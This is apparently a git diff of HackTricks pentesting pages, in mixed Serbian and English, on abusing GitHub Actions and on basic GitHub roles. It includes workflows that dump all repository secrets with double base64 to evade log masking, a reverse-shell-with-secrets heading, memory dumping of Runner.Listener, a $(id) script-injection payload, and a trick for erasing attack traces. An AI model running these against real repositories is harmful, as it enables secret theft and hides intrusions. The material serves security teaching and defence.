blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repozitorijum ili organizacija ima politiku koja ograničava upotrebu određenih actions, attacker može jednostavno da download-uje (`git clone`) action unutar workflow-a i potom ga referencira kao local action. Pošto politike ne utiču na lokalne puteve, **the action will be executed without any restriction.** + +Primer: +```yaml +on: [push, pull_request] + +jobs: +test: +runs-on: ubuntu-latest +steps: +- run: | +mkdir -p ./tmp +git clone https://github.com/actions/checkout.git ./tmp/checkout + +- uses: ./tmp/checkout +with: +repository: woodruffw/gha-hazmat +path: gha-hazmat + +- run: ls && pwd + +- run: ls tmp/checkout +``` +### Pristup AWS i GCP preko OIDC + +Pogledajte sledeće stranice: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -440,15 +468,15 @@ Proverite sledeće stranice: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Pristupanje tajnama +### Pristup secrets -Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama: +Ako ubacujete sadržaj u skriptu, interesantno je znati kako možete pristupiti secrets: -- Ako je tajna ili token postavljen na **promenljivu okruženja**, može se direktno pristupiti kroz okruženje koristeći **`printenv`**. +- Ako je secret ili token postavljen kao **environment variable**, njima se može direktno pristupiti kroz okruženje koristeći **`printenv`**.
-Lista tajni u izlazu Github Akcije +Ispis secrets u Github Action output ```yaml name: list_env on: @@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Dobijanje reverzne ljuske sa tajnama +Dobijte reverse shell pomoću secrets ```yaml name: revshell on: @@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Ako se tajna koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i može se pristupiti. +- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - ```bash cat /home/runner/work/_temp/* ``` -- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja. +- For a JavaScript actions the secrets and sent through environment variables - ```bash ps axe | grep node ``` -- Za **prilagođenu akciju**, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz **argumenta**: +- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: ```yaml uses: fakeaction/publish@v3 @@ -514,23 +542,47 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -### Zloupotreba samostalno hostovanih izvršilaca +- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally: -Način da se pronađe koje **Github akcije se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github akcije. +```yaml +name: Steal secrets +on: +push: +branches: [ attacker-branch ] +jobs: +dump: +runs-on: ubuntu-latest +steps: +- name: Double-base64 the secrets context +run: | +echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 +``` -**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? usluga metapodataka?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** od druge. +Decode locally: -U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije: +```bash +echo "ZXdv...Zz09" | base64 -d | base64 -d +``` + +Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners). + +### Abusing Self-hosted runners + +The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. + +**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. + +In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Proverite [**ovaj post za više informacija**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Pogledajte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Github Docker Images Registry +### Github Docker Images Registar -Moguće je napraviti Github akcije koje će **izgraditi i sačuvati Docker sliku unutar Github-a**.\ -Primer se može naći u sledećem proširivom: +Moguće je napraviti Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\ +Primer se može naći u sledećem proširivom bloku:
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**. +Kao što možete videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**. -Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token: +Korisnik sa dozvolama za čitanje nad repozitorijumom moći će da preuzme Docker Image koristeći personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Zatim, korisnik može da traži **procurene tajne u slojevima Docker slike:** +Zatim, korisnik može pretražiti za **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -580,15 +632,17 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### Osetljive informacije u Github Actions logovima -Čak i ako **Github** pokušava da **otkrije tajne vrednosti** u logovima akcija i **izbegne da ih prikaže**, **dati osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Čak i ako **Github** pokuša **detektovati secret values** u logovima akcija i **sprečiti njihovo prikazivanje**, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršavanja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Sakrivanje tragova -(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji caka. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove) - -Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u. +(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji se podigne je jasno vidljiv javnosti na Github i ciljnom GitHub nalogu. Na GitHub-u po defaultu, mi **ne možemo izbrisati PR sa interneta**, ali postoji trik. Za Github naloge koji su **suspendovani** od strane Github-a, svi njihovi **PRs are automatically deleted** i uklanjaju se sa interneta. Dakle, da biste sakrili svoju aktivnost morate ili da vam se **GitHub account suspenduje ili da vam nalog bude flagged**. To bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR) > [!WARNING] -> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen. +> Jedini način da organizacija otkrije da je bila meta je da pregleda GitHub logove iz SIEM-a jer će iz GitHub UI PR biti uklonjen. + +## References + +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 591109f16..1c874e862 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,3 +1,96 @@ # Gh Actions - Context Script Injections {{#include ../../../banners/hacktricks-training.md}} + +## Razumevanje rizika + +GitHub Actions renderuje izraze ${{ ... }} pre nego što se korak izvrši. Renderovana vrednost se zalepi u program koraka (za run korake, shell skripta). Ako interpolirate nepouzdani ulaz direktno unutar run:, napadač kontroliše deo shell programa i može izvršavati proizvoljne komande. + +Dokumentacija: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions i contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts + +Ključne tačke: +- Renderovanje se događa pre izvršenja. Run skripta se generiše sa svim razrešenim izrazima, pa se potom izvršava kroz shell. +- Mnogi contexts sadrže polja koja korisnik kontroliše u zavisnosti od događaja koji pokreće workflow (issues, PRs, comments, discussions, forks, stars, itd.). Pogledajte referencu za untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/ +- Shell quoting unutar run: nije pouzdana odbrana, jer se injekcija dešava u fazi renderovanja templata. Napadači mogu probiti navodnike ili ubaciti operatore putem specijalno oblikovanog ulaza. + +## Ranljiv obrazac → RCE na runneru + +Ranljiv workflow (pokreće se kada neko otvori novi issue): +```yaml +name: New Issue Created +on: +issues: +types: [opened] +jobs: +deploy: +runs-on: ubuntu-latest +permissions: +issues: write +steps: +- name: New issue +run: | +echo "New issue ${{ github.event.issue.title }} created" +- name: Add "new" label to issue +uses: actions-ecosystem/action-add-labels@v1 +with: +github_token: ${{ secrets.GITHUB_TOKEN }} +labels: new +``` +Ako napadač otvori issue naslovljen $(id), renderovani step postaje: +```sh +echo "New issue $(id) created" +``` +Command substitution izvršava id na runneru. Primer izlaza: +``` +New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created +``` +Zašto citiranje ne štiti: +- Izrazi se prvo evaluiraju, a zatim se izvršava dobijeni skript. Ako nepouzdana vrednost sadrži $(...), `;`, `"`/`'`, ili novi redovi, može izmeniti strukturu programa uprkos vašem citiranju. + +## Siguran obrazac (shell variables via env) + +Ispravno rešenje: kopirajte nepouzdani unos u environment variable, zatim koristite native shell expansion ($VAR) u run skripti. Ne ponovo ugrađujte sa ${{ ... }} unutar komande. +```yaml +# safe +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: New issue +env: +TITLE: ${{ github.event.issue.title }} +run: | +echo "New issue $TITLE created" +``` +Notes: +- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk. +- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:. + +## Površine koje korisnik može pokrenuti (smatrati nepouzdanim) + +Nalozi koji imaju samo dozvolu za čitanje na javnim repozitorijumima i dalje mogu pokrenuti mnogo događaja. Svako polje u kontekstima izvedenim iz ovih događaja treba smatrati pod kontrolom napadača osim ako se ne dokaže suprotno. Primeri: +- issues, issue_comment +- discussion, discussion_comment (orgs mogu ograničiti discussions) +- pull_request, pull_request_review, pull_request_review_comment +- pull_request_target (opasno ako se pogrešno koristi, pokreće se u kontekstu base repo) +- fork (bilo ko može fork-ovati javne repozitorijume) +- watch (starring a repo) +- Indirektno preko workflow_run/workflow_call lanaca + +Koja tačno polja su pod kontrolom napadača zavisi od događaja. Pogledajte GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/ + +## Praktični saveti + +- Smanjite korišćenje expressions unutar run:. Preferirajte env: mapiranje + $VAR. +- Ako morate transformisati ulaz, uradite to u shellu koristeći bezbedne alate (printf %q, jq -r, itd.), i dalje polazeći od shell promenljive. +- Budite posebno oprezni pri interpolaciji imena grana, naslova PR-a, korisničkih imena, labela, naslova diskusija i PR head refs u skripte, argumente komandne linije ili putanje fajlova. +- Za reusable workflows i composite actions primenite isti obrazac: mapirajte u env pa referencirajte $VAR. + +## References + +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) +- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) +- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts) +- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 40a78d7c3..226804276 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,156 +1,156 @@ -# Osnovne informacije o Github-u +# Osnovne informacije o Github {{#include ../../banners/hacktricks-training.md}} -## Osnovna struktura +## Basic Structure -Osnovna struktura github okruženja velike **kompanije** je da poseduje **preduzeće** koje poseduje **several organizacija** i svaka od njih može sadržati **several repozitorijuma** i **several timova**. Manje kompanije mogu samo **posedovati jednu organizaciju i bez preduzeća**. +Osnovna struktura Github okruženja velike **kompanije** je da poseduje jedno **enterprise** koje poseduje **nekoliko organizations** i svaka od njih može sadržati **nekoliko repositories** i **nekoliko teams.** Manje kompanije mogu imati samo **jednu organization i bez enterprises**. -Sa tačke gledišta korisnika, **korisnik** može biti **član** **različitih preduzeća i organizacija**. Unutar njih korisnik može imati **različite uloge u preduzeću, organizaciji i repozitorijumu**. +Iz ugla korisnika, jedan **user** može biti **member** različitih enterprises i organizations. Unutar njih korisnik može imati **različite enterprise, organization i repository role**. -Štaviše, korisnik može biti **deo različitih timova** sa različitim ulogama u preduzeću, organizaciji ili repozitorijumu. +Pored toga, korisnik može biti **deo različitih teams** sa različitim enterprise, organization ili repository rolama. -I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**. +I na kraju, **repositories mogu imati specijalne mehanizme zaštite**. -## Privilegije +## Privileges -### Uloge u preduzeću +### Enterprise Roles -- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija. -- **Članovi preduzeća**: Članovi organizacija koje poseduje vaše preduzeće su takođe **automatski članovi preduzeća**. +- **Enterprise owner**: Osobe sa ovom ulogom mogu **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Međutim, oni **ne mogu pristupiti organization settings ili content** osim ako nisu postavljeni kao organization owner ili im nije dat direktan pristup repository u vlasništvu organization. +- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. -### Uloge u organizaciji +### Organization Roles -U organizaciji korisnici mogu imati različite uloge: +U jednoj organization korisnici mogu imati različite uloge: -- **Vlasnici organizacije**: Vlasnici organizacije imaju **potpun pristup administraciji vaše organizacije**. Ova uloga bi trebala biti ograničena, ali ne na manje od dve osobe, u vašoj organizaciji. -- **Članovi organizacije**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**. -- **Menadžeri naplate**: Menadžeri naplate su korisnici koji mogu **upravljati postavkama naplate za vašu organizaciju**, kao što su informacije o plaćanju. -- **Menadžeri bezbednosti**: To je uloga koju vlasnici organizacije mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju bezbednosnim upozorenjima i postavkama širom vaše organizacije, kao i dozvole za čitanje za sve repozitorijume** u organizaciji. -- Ako vaša organizacija ima tim za bezbednost, možete koristiti ulogu menadžera bezbednosti da članovima tima date minimalan pristup koji im je potreban za organizaciju. -- **Menadžeri Github aplikacija**: Da bi omogućili dodatnim korisnicima da **upravljaju GitHub aplikacijama koje poseduje organizacija**, vlasnik može dodeliti dozvole menadžera GitHub aplikacija. -- **Spoljni saradnici**: Spoljni saradnik je osoba koja ima **pristup jednom ili više repozitorijuma organizacije, ali nije eksplicitno član** organizacije. +- **Organization owners**: Organization owners imaju **complete administrative access to your organization**. Ovu ulogu treba ograničiti, ali ne na manje od dve osobe u vašoj organization. +- **Organization members**: **Default**, ne-administrativna uloga za **ljude u organization** je organization member. Po default-u, organization members **have a number of permissions**. +- **Billing managers**: Billing managers su korisnici koji mogu **manage the billing settings for your organization**, kao što su informacije o plaćanju. +- **Security Managers**: Ovo je uloga koju organization owners mogu dodeliti bilo kojem timu u organization. Kada se primeni, daje svakom članu tima dozvole da **manage security alerts and settings across your organization, as well as read permissions for all repositories** u organization. +- Ako vaša organization ima security team, možete koristiti security manager ulogu da članovima tima date najmanje privilegije koje su im potrebne u organization. +- **Github App managers**: Da bi dodatni korisnici mogli **manage GitHub Apps owned by an organization**, owner im može dodeliti Github App manager permissions. +- **Outside collaborators**: Outside collaborator je osoba koja ima **access to one or more organization repositories but is not explicitly a member** of the organization. -Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Možete **compare the permissions** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Privilegije članova +### Members Privileges -Na _https://github.com/organizations/\/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**. +U _https://github.com/organizations/\/settings/member_privileges_ možete videti **permissions koje korisnici imaju samo zato što su deo organization**. -Postavke ovde konfigurirane će ukazivati na sledeće dozvole članova organizacije: +Podešavanja ovde će odrediti sledeće dozvole članova organization: -- Biti administrator, pisac, čitalac ili bez dozvole nad svim repozitorijumima organizacije. -- Ako članovi mogu kreirati privatne, interne ili javne repozitorijume. -- Ako je moguće fork-ovati repozitorijume. -- Ako je moguće pozvati spoljne saradnike. -- Ako se mogu objaviti javne ili privatne stranice. -- Dozvole koje administratori imaju nad repozitorijumima. -- Ako članovi mogu kreirati nove timove. +- Biti admin, writer, reader ili bez dozvole nad svim organization repos. +- Da li članovi mogu kreirati private, internal ili public repositories. +- Da li je forking repositories moguć +- Da li je moguće pozivati outside collaborators +- Da li se public ili private sites mogu objavljivati +- Dozvole koje admins imaju nad repositories +- Da li članovi mogu kreirati nove teams -### Uloge u repozitorijumu +### Repository Roles -Po defaultu, uloge u repozitorijumu su kreirane: +Po default-u repository role su kreirane: -- **Čitanje**: Preporučuje se za **ne-kodere** koji žele da pregledaju ili diskutuju o vašem projektu. -- **Triage**: Preporučuje se za **kontributore koji treba proaktivno da upravljaju problemima i pull zahtevima** bez pristupa pisanju. -- **Pisanje**: Preporučuje se za kontributore koji **aktivno doprinose vašem projektu**. -- **Održavanje**: Preporučuje se za **menadžere projekata koji treba da upravljaju repozitorijumom** bez pristupa osetljivim ili destruktivnim radnjama. -- **Administrator**: Preporučuje se za ljude koji trebaju **potpun pristup projektu**, uključujući osetljive i destruktivne radnje kao što su upravljanje bezbednošću ili brisanje repozitorijuma. +- **Read**: Preporučeno za **non-code contributors** koji žele da pregledaju ili diskutuju projekat +- **Triage**: Preporučeno za **contributors koji treba da proaktivno upravljaju issues i pull requests** bez write pristupa +- **Write**: Preporučeno za contributors koji **aktivno push-uju u projekt** +- **Maintain**: Preporučeno za **project managers koji treba da upravljaju repository** bez pristupa osetljivim ili destruktivnim akcijama +- **Admin**: Preporučeno za ljude kojima treba **full access to the project**, uključujući osetljive i destruktivne akcije kao što su upravljanje bezbednošću ili brisanje repository -Možete **uporediti dozvole** svake uloge u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Možete **compare the permissions** svake role u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Takođe možete **kreirati svoje uloge** na _https://github.com/organizations/\/settings/roles_ +Takođe možete **create your own roles** u _https://github.com/organizations/\/settings/roles_ -### Timovi +### Teams -Možete **navesti timove kreirane u organizaciji** na _https://github.com/orgs/\/teams_. Imajte na umu da da biste videli timove koji su deca drugih timova, morate pristupiti svakom roditeljskom timu. +Možete **list the teams created in an organization** u _https://github.com/orgs/\/teams_. Imajte na umu da da biste videli teams koji su children drugih teams morate pristupiti svakom parent team-u. -### Korisnici +### Users -Korisnici organizacije mogu biti **navedeni** na _https://github.com/orgs/\/people._ +Korisnici jedne organization mogu biti **listed** u _https://github.com/orgs/\/people._ -U informacijama o svakom korisniku možete videti **timove čiji je korisnik član**, i **repozitorijume kojima korisnik ima pristup**. +U informacijama o svakom user-u možete videti **teams the user is member of**, i **repos the user has access to**. -## Github autentifikacija +## Github Authentication -Github nudi različite načine za autentifikaciju na vašem nalogu i obavljanje radnji u vaše ime. +Github nudi različite načine da se autentifikujete na vaš account i izvršavate akcije u vaše ime. -### Web pristup +### Web Access -Pristupajući **github.com**, možete se prijaviti koristeći svoje **korisničko ime i lozinku** (i **2FA potencijalno**). +Pristupanjem **github.com** možete se prijaviti koristeći **username and password** (i eventualno **2FA**). -### **SSH ključevi** +### **SSH Keys** -Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogućavaju povezani **privatni ključ da obavlja radnje u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys) +Možete konfigurisati vaš account sa jednim ili više public keys koje omogućavaju odgovarajućem **private key da izvršava akcije u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG ključevi** +#### **GPG Keys** -Ne možete **imiti korisnika sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Ne možete **impersonate the user with these keys** ali ako ih ne koristite može se dogoditi da budete otkriveni za slanje commits bez potpisa. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Lični pristupni tokeni** +### **Personal Access Tokens** -Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem nalogu**. Kada kreirate lični pristupni token, **korisnik** treba da **navede** **dozvole** koje **token** će imati. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Možete generisati personal access token da **date aplikaciji pristup vašem account-u**. Prilikom kreiranja personal access token korisnik treba da **specify** **permissions** koje će token imati. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth aplikacije +### Oauth Applications -Oauth aplikacije mogu vas pitati za dozvole **da pristupite delu vaših github informacija ili da imitirate vas** da obavite neke radnje. Uobičajen primer ove funkcionalnosti je **dugme prijave sa github-om** koje možete pronaći na nekim platformama. +Oauth applications mogu tražiti dozvole **to access part of your github information or to impersonate you** da izvrše neke akcije. Uobičajen primer ove funkcionalnosti je dugme **login with github** koje možete naći na nekim platformama. -- Možete **kreirati** svoje **Oauth aplikacije** na [https://github.com/settings/developers](https://github.com/settings/developers) -- Možete videti sve **Oauth aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications) -- Možete videti **opsege koje Oauth aplikacije mogu tražiti** na [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Možete videti pristup trećih strana aplikacija u **organizaciji** na _https://github.com/organizations/\/settings/oauth_application_policy_ +- Možete **create** vaše **Oauth applications** u [https://github.com/settings/developers](https://github.com/settings/developers) +- Možete videti sve **Oauth applications that has access to your account** u [https://github.com/settings/applications](https://github.com/settings/applications) +- Možete videti **scopes that Oauth Apps can ask for** u [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Možete videti third party access aplikacija u jednoj **organization** na _https://github.com/organizations/\/settings/oauth_application_policy_ Neke **preporuke za bezbednost**: -- **OAuth aplikacija** uvek treba da **deluje kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega. -- Oauth aplikacija može se koristiti kao provajder identiteta omogućavanjem "Prijava sa GitHub-om" za autentifikovanog korisnika. -- **Nemojte** praviti **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na _svim_** repozitorijumima autentifikovanog korisnika. -- **Nemojte** praviti Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup. -- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- An **OAuth App** bi uvek trebalo da **act as the authenticated GitHub user across all of GitHub** (na primer, kada obezbeđuje korisnička obaveštenja) i sa pristupom samo specificiranim scopes.. +- An OAuth App može biti korišćen kao identity provider omogućavajući "Login with GitHub" za autentifikovanog korisnika. +- **Don't** pravite **OAuth App** ako želite da vaša aplikacija deluje samo na **single repository**. Sa `repo` OAuth scope-om, OAuth Apps mogu **act on _all**_ of the authenticated user's repositories. +- **Don't** pravite OAuth App da predstavlja aplikaciju za vaš **team or company**. OAuth Apps autentifikuju kao **single user**, tako da ako jedna osoba kreira OAuth App za kompaniju i zatim napusti kompaniju, niko drugi neće imati pristup. +- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github aplikacije +### Github Applications -Github aplikacije mogu tražiti dozvole da **pristupite vašim github informacijama ili da imitirate vas** da obavite specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup. +Github applications mogu tražiti dozvole da **access your github information or impersonate you** kako bi izvršile specifične akcije nad specifičnim resursima. U Github Apps morate specificirati repositories kojima će app imati pristup. -- Da biste instalirali GitHub aplikaciju, morate biti **vlasnik organizacije ili imati administratorske dozvole** u repozitorijumu. -- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**. -- Možete kreirati svoju Github aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps) -- Možete videti sve **Github aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Ovo su **API krajnje tačke za Github aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekim od njih. -- Možete videti instalirane aplikacije u **organizaciji** na _https://github.com/organizations/\/settings/installations_ +- Da biste instalirali GitHub App, morate biti **organisation owner or have admin permissions** u repository. +- GitHub App treba da **connect to a personal account or an organisation**. +- Možete kreirati sopstvenu Github application u [https://github.com/settings/apps](https://github.com/settings/apps) +- Možete videti sve **Github applications that has access to your account** u [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Ovo su **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od permissions App će moći da pristupi nekima od njih +- Možete videti instalirane apps u jednoj **organization** na _https://github.com/organizations/\/settings/installations_ Neke preporuke za bezbednost: -- GitHub aplikacija treba da **preduzima radnje nezavisno od korisnika** (osim ako aplikacija koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali korisničke pristupne tokene sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje korisničkih pristupnih tokena](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Uverite se da se GitHub aplikacija integriše sa **specifičnim repozitorijumima**. -- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**. -- Ne očekujte da GitHub aplikacija zna i radi sve što korisnik može. -- **Nemojte koristiti GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tokene za identifikaciju korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ 